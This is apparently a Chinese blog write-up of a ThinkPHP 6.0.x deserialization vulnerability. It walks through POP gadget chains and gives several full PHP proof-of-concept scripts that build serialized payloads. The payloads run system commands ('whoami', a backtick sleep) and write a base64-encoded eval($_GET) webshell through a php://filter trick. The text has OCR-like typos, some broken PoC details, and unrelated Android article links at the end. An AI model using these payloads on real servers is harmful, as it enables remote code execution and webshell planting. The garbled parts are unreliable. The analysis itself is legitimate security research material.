tp6.0.8反序列化漏洞的一些看法

更多漏洞分析的内容,可前往无问社区查看http://www.wwlib.cn/index.php/artread/artid/5741.html
环境搭建
复制代码
composer create-project topthink/think=6.0.x-dev thinkphp-v6.0

首先构造一个反序列化点

app/controller/Index.php

复制代码
<?php
namespace app\controller;
use app\BaseController;

class Index extends BaseController
{
    public function index()
    {
        if (isset($_POST['data'])) {
            @unserialize($_POST['data']);
        }
        highlight_string(file_get_contents(__FILE__));
    }
}

在 ThinkPHP5.x 的POP链中,入口都是 think\process\pipes\Windows 类,通过该类触发任意类的 __toString 方法。但是 ThinkPHP6.x 的代码移除了 __toString 之后的 Gadget 仍然存在,所以我们得继续寻找可以触发 think\process\pipes\Windows 类,而POP链先从起点 __destruct() 或 __toString 方法的点。__wakeup 方法开始,因为它们就是unserialize的触发点。

寻找 __destruct 方法

我们全局搜索 __destruct() 方法,这里发现了 /vendor/topthink/think-orm/src/Model.php 中

Model 类的 __destruct 方法:

当$ this->lazySave 为真时,调用save方法,跟进save方法

跟进这里对 $this->exists 属性进行判断,如果为true则调用updateData()方法,如果为false则调用insertData()方法。而要想到达这一步,需要先满足下面这个if语句:

复制代码
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
 return false;
 }

只需 this-\>isEmpty() 为返回false,this->trigger('BeforeWrite') 返回true即可。

进 $this->isEmpty() 方法:

复制代码
public function isEmpty(): bool
 {
 return empty($this->data);
 }

这里$this->data 不为空即可

跟进$this->trigger() 方法

此处需要满足$this->withEvent 为false

之后当 this-\>exists == true 时进入 this->updateData() ;当 入 ,this-\>exists == false 时进 this->insertData()

先跟进updateData()方法

这里下一步的利用点存在于 $this->checkAllowFields() 中,但是要进入并调用该函数,需要先通过

两处if语句:

通过①处if语句:通过上面对trigger()方法的分析,我们知道需要令 $this->withEvent == false 即可通过。由于前面已经绕过了save()方法中的trigger(),所以这里就不用管了。

通过②处if语句:需要 data == 1(非空)即可,所以我们跟进 this->getChangedData() 方法(位于vendor\topthink\think-orm\src\model\concern\Attribute.php中)看一下:

我们只需要令 this-\>force == true 即可直接返回 this-data ,而我们之前也需要设置 data 为非空。回到 this updateData() 中,之后就可以成功调用到了 this->checkAllowFields() ,跟进该函数

这里需要调用到this-\>db 方法,所以需令 this->field 为空并且$this->schema 也为空。

这两个字段默认为空,所以不需要管

之后进入db方法

在该方法中使用了.进行字符串拼接,我们可以把 this-\>table 或 this->suffix 设置成相应的类对象,此时通过 . 拼接便可以把类对象当做字符串,就可以触发 __toString() 方法了

目前为止,前半条POP链已经完成,即可以通过字符串拼接去调用 __toString() ,所以先总结一下我们需要设置的点:

复制代码
$this->data不为空
$this->lazySave == true
$this->withEvent == false
$this->exists == true
$this->force == true

调用过程如下:

复制代码
PHP
 __destruct()------>save()------>updateData()------>checkAllowFields()------>db()------>$this->table . 
$this->suffix(字符串拼接)------>toString()
寻找 __toString() 方法

既然前半条POP链已经能够触发 __toString() 了,下面就是寻找利用点。这次漏洞的 __toString() 利用点位于 vendor\topthink\think-orm\src\model\concern\Conversion.php 中名为Conversion 的trait中:

复制代码
public function __toString()
 {
 return $this->toJson();
 }

跟进toJson

复制代码
 public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
 {
 return json_encode($this->toArray(), $options);
 }

跟进toArray

跟进 getAttr()

先看返回值 的 $this->getValue

这里的

复制代码
$closure = $this->withAttr[$fieldName];
$value   = $closure($value, $this->data);

注意看这里,我们是可以控制this-\>withAttr 的,那么就等同于控制了closure 可以作为动态函数,执行命令。根据这个点,我们来构造pop。

POP链构造

入口点在src/Model.php 的__destruct ,我们需要控制函数$this->lazySave 为真来进入if循环调用save函数。

在save函数中需要使this-\>isEmpty() 为false,也就是this->data 不为空,并且this-\>trigger为true,也就是this->withEvent 为true,该属性在src/model/concern/ModelEvent.php 中。之后再使$this->exists 为true即可进入updateData方法

进入了updateDate方法之后,由于前面的this-\>trigger 已经为true,只需要data 不为空即可调用$ this->checkAllowFields() 方法,也就是src/model/concern/Attribute.php 里的getChangedDate方法不为空

在getChangedDate中,如果this-\>force 为true,则直接返回this->date ,而已经不为空了

$this->data 前面所以要想进入checkAllowFields方法,需要满足下满的条件

复制代码
$this->lazySave == true
 $this->data不为空
$this->withEvent == false
 $this->exists == true
 $this->force == true

model 类是复用了trait 类 的,可以访问其属性,和方法。Model 类 是抽象类,不能被实例化,所以我们还需要找到其子类。

Pivot 类就是我们需要找的类。

现在已经成功执行到了 this-\>checkAllowFields() ,还得进入 this->db()

这里只需要

$this->field 为空,

$this->schema 也为空即可进入db方法

this-\>name 或 this->suffix 设置为含有_tostring的类对象就可以触发此魔术方法

这里注意的是,我们需要触发-tostring 的类是conversion 类而这个类是trait类,而当前的mode1类是 复用了 conversion 类的,所以我们相当于重新调用一遍 pivot 类。也就是重新调用一下自己,触发自己的的-tostring方法

调用__toString 方法的poc
复制代码
 <?php
 namespace think\model\concern;
 trait Attribute{
 private $data=['456'=>'123'];
 }
 trait ModelEvent{
 protected $withEvent = true;
 }
 namespace think;
 abstract class Model{
 use model\concern\Attribute;
 use model\concern\ModelEvent;
 private $exists;
 private $force;
 private $lazySave;
 protected $suffix;
 function __construct($a = '')
 {
 $this->exists = true;
 $this->force = true;
 $this->lazySave = true;
 $this->withEvent = false;
 $this->suffix = $a;
 }
 }
 namespace think\model;
 use think\Model;
 class Pivot extends Model{}
 echo urlencode(serialize(new Pivot(new Pivot())));
 ?>

之后便是__toString 的构造了,在vendor/topthink/thinkorm/src/model/concern/Conversion.php 里面。首先是进入toJson

然后调用toArray

在toArray中会调用getAttr

前面两个foreach 不做处理,再下来这个foreach会进入最后一个if分支),调用getAttr方法。这个foreach是遍历this-\>data,然后将data的$key传入 getAttr

该函数是在src/mode1/concern/Attribute.php中

然后进入getValue

我们只需要将closure设置为system等函数即可执行任意命令,也就是this->withAttr[fie1dName\] ,也就是this->withAttr[this-\>getRea7Fie1dName(name)]

其中this-\>strict默认为true,如果将sthis-\>convertNameTocame1设置为false,则会直接返回name

所以就相当于this-\>withAttr\[name]为一个命令执行函数,name就是getAttr中的key,也就是$data的键值

其中参数值就是this-\>getData(name)

相当于data数组中的键值。withAttr数组中的键值为函数,data数组中的键值为参数,并且键名需要相同

命令执行POC1
复制代码
<?php
namespace think\model\concern;

trait Attribute {
    private $data = ['cyz' => 'whoami'];
    private $withAttr = ['cyz' => 'system'];
}

trait ModelEvent {
    protected $withEvent = true;
}

namespace think;

abstract class Model {
    use model\concern\Attribute;
    use model\concern\ModelEvent;

    private $exists;
    private $force;
    private $lazySave;
    protected $suffix;

    function __construct($a = '') {
        $this->exists = true;
        $this->force = true;
        $this->lazySave = true;
        $this->withEvent = false;
        $this->suffix = $a;
    }
}

namespace think\model;

use think\Model;

class Pivot extends Model {}

echo urlencode(serialize(new Pivot(new Pivot())));
?>
命令执行POC2

也可以直接令$this->exists = false;,进入insertData方法,直接调用db

复制代码
<?php
namespace think\model\concern;

trait Attribute {
    private $data = ['cyz' => 'whoami'];
    private $withAttr = ['cyz' => 'system'];
}

trait ModelEvent {
    protected $withEvent = true;
}

namespace think;

abstract class Model {
    use model\concern\Attribute;
    use model\concern\ModelEvent;

    private $exists;
    private $lazySave;
    protected $suffix;

    function __construct($a = '') {
        $this->exists = false;
        $this->lazySave = true;
        $this->withEvent = false;
        $this->suffix = $a;
    }
}

namespace think\model;

use think\Model;

class Pivot extends Model {}

echo urlencode(serialize(new Pivot(new Pivot())));
?>
其他利用链
寻找__destruct方法

在vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php 文件中找到个可以利用的__destruct 方法

当$this->autosave为false时进入save方法

进入save函数,发现并没有实现什么功能,所以我们需要寻找Abstractcache类的子类有没有实现该函数

在src/think/filesystem/cachestore.php中存在符合条件的子类

这里$this->store可控,所以我们可以触发任意类的set方法,只要找到任意类存在危险操作的set方法即可利用

跟进getForStorage函数

this-\>cache可控,this->complete可控,因此$contents可控,只不过经过一次json编码

寻找危险的set方法

在vendor/topthink/framework/src/think/cache/driver/File.php 中存在符合条件的set方法

复制代码
public function set($name, $value, $expire = null): bool
 {
 $this->writeTimes++;
 if (is_null($expire)) {
            $expire = $this->options['expire'];
        }
        $expire   = $this->getExpireTime($expire);
        $filename = $this->getCacheKey($name);
        $dir = dirname($filename);
        if (!is_dir($dir)) {
            try {
                mkdir($dir, 0755, true);
            } catch (\Exception $e) {
                // 创建失败
            }
        }
        $data = $this->serialize($value);
        if ($this->options['data_compress'] && function_exists('gzcompress')) {
            //数据压缩
            $data = gzcompress($data, 3);
        }
        $data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . 
$data;
        $result = file_put_contents($filename, $data);
        if ($result) {
            clearstatcache();
            return true;
        }
        return false;
    }

this-\>getExpireTime(expire)是返回一个整数,跟进getCacheKey

$this->options可控,所以getcacheKey返回的值可控跟进一下serialize

this-\>options\[ 'serialize'\]\[0\]可控,serialize可控,$data为我们传入set函数的

value,也就是this->store->set(this-\>key,contents,this-\>expire);中的content,是可控的。只不过此时$data经过json编码

所以这里可以构造动态代码执行

POC1
复制代码
<?php
namespace League\Flysystem\Cached\Storage;
abstract class AbstractCache{
}

namespace think\cache;
use think\cache\Driver;
abstract class Driver{
}

namespace think\cache\driver;
use think\cache\driver;
class File extends Driver{
    protected $options = [];
    public function __construct(){
        $this->options = [
            'expire'         => 0,
            'cache_subdir'   => false,
            'prefix'         => '',
            'path'           => '',
            'hash_type'      => '',
            ''               => '',
            ''               => 'md5',
            'data_compress'  => false,
            'tag_prefix'     => 'tag:',
            'serialize'      => ['system']
        ];
    }
}

namespace think\filesystem;
use League\Flysystem\Cached\Storage\AbstractCache;
class CacheStore extends AbstractCache{
    protected $store;
    protected $key;
    protected $autosave;
    protected $complete;
    public function __construct($store)
    {
        $this->autosave = false;
        $this->key = "1";
        $this->complete = '`sleep 10`';
        $this->store  = $store;
    }
}

use think\cache\driver\file;
$a = new CacheStore(new File());
echo serialize($a);
echo "<br>";
echo urlencode(serialize($a));
?>

这里成功调用了systm命令,在linux中可以使用反引号来进行无回显的命令执行

继续往下会看到一个任意文件写入

复制代码
$data   
= "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);

经典"死亡exit",可以伪协议绕过,最后文件名是key的md5name = hash(this-\>options\['hash_type'\],name);

name为文件名,来源于this->key,可控,this-\>options\['hash_type\]也可控。最终文件名是经过hash后的,所以最终文件名可控(本文演示POC中key= "1",$this->options['hash_type']= 'md5',所以最终文件名为1的md5值)。

$this->options['path']使用php filter构造php:/lfilter/write=convert.base64-decode/resource=think/public/指向tp6根目录

最终拼接后的$filename为

php:/lfilterlwrite=convert.base64-decode/resource=./

此外,为了确保php伪协议进行base64解码之后我们的shell不受影响,所以要计算解码前的字符数。假设传入的$expire=0,那么shell前面部分在拼接之后能够被解码的有效字符为:

php//000000000001exit共有21个,要满足base64解码的4字符为1组的规则,在其前面补上3个字符用于逃逸之后的base64解码的影响。但是实际上会少一个<所以在base64编码的时候需要使用两个<<

POC2

https://www.heibai.org/1604.html

https://www.cnblogs.com/20175211lyz/p/13639789.html

https://new.qq.com/omn/20200629/20200629A0RG1800.html

复制代码
<?php
namespace League\Flysystem\Cached\Storage;
abstract class AbstractCache{
}

namespace think\cache;
use think\cache\Driver;
abstract class Driver{
}

namespace think\cache\driver;
use think\cache\driver;
class File extends Driver{
    protected $options = [];
    public function __construct(){
        $this->options = [
            'expire'         => 0,
            'cache_subdir'   => false,
            'prefix'         => '',
            'path'           => './',
            'hash_type'      => '',
            ''               => 'php://filter/write=convert.base64',
            ''               => 'md5',
            'data_compress'  => false,
            'tag_prefix'     => 'tag:',
            'serialize'      => ['trim']      //使用trim去掉[]
        ];
    }
}

namespace think\filesystem;
use League\Flysystem\Cached\Storage\AbstractCache;
class CacheStore extends AbstractCache{
    protected $store;
    protected $key;
    protected $autosave;
    protected $complete;
    public function __construct($store)
    {
        $this->autosave = false;
        $this->key = "1";
        $this->complete = 'uuuPDw/cGhwIHBocGluZm8oKTtldmFsKCRfR0VUWzFdKTs/PiA=';
        $this->store  = $store;
    }
}

use think\cache\driver\file;
$a = new CacheStore(new File());
echo serialize($a);
echo "<br>";
echo urlencode(serialize($a));
?>
POC3

https://yq1ng.github.io/z_post/ctfshow-thinkphp%E4%B8%93%E9%A2%98/

复制代码
<?php
namespace League\Flysystem\Cached\Storage {
    use League\Flysystem\Adapter\Local;
    class Adapter {
        protected $autosave = true;
        protected $expire = null;
        protected $adapter;
        protected $file;
        public function __construct() {
            $this->autosave = false;
            $this->expire = '<?php ;?>';
            $this->adapter = new Local();
            $this->file = 'yq1ng.php';
        }
    }
}
namespace League\Flysystem\Adapter {
    class Local {
    }
}
namespace {
    use League\Flysystem\Cached\Storage\Adapter;
    echo urlencode(serialize(new Adapter()));
}
相关推荐
叶羽西24 分钟前
Android15系统中(娱乐框架和车机框架)中对摄像头的朝向是怎么定义的
android
Java小白中的菜鸟30 分钟前
安卓studio链接夜神模拟器的一些问题
android
莫比乌斯环31 分钟前
【Android技能点】深入解析 Android 中 Handler、Looper 和 Message 的关系及全局监听方案
android·消息队列
编程之路从0到11 小时前
React Native新架构之Android端初始化源码分析
android·react native·源码阅读
行稳方能走远1 小时前
Android java 学习笔记2
android·java
编程之路从0到11 小时前
React Native 之Android端 Bolts库
android·前端·react native
爬山算法1 小时前
Hibernate(38)如何在Hibernate中配置乐观锁?
android·java·hibernate
行稳方能走远2 小时前
Android java 学习笔记 1
android·java
zhimingwen2 小时前
【開發筆記】修復 macOS 上 JADX 啟動崩潰並實現快速啟動
android·macos·反編譯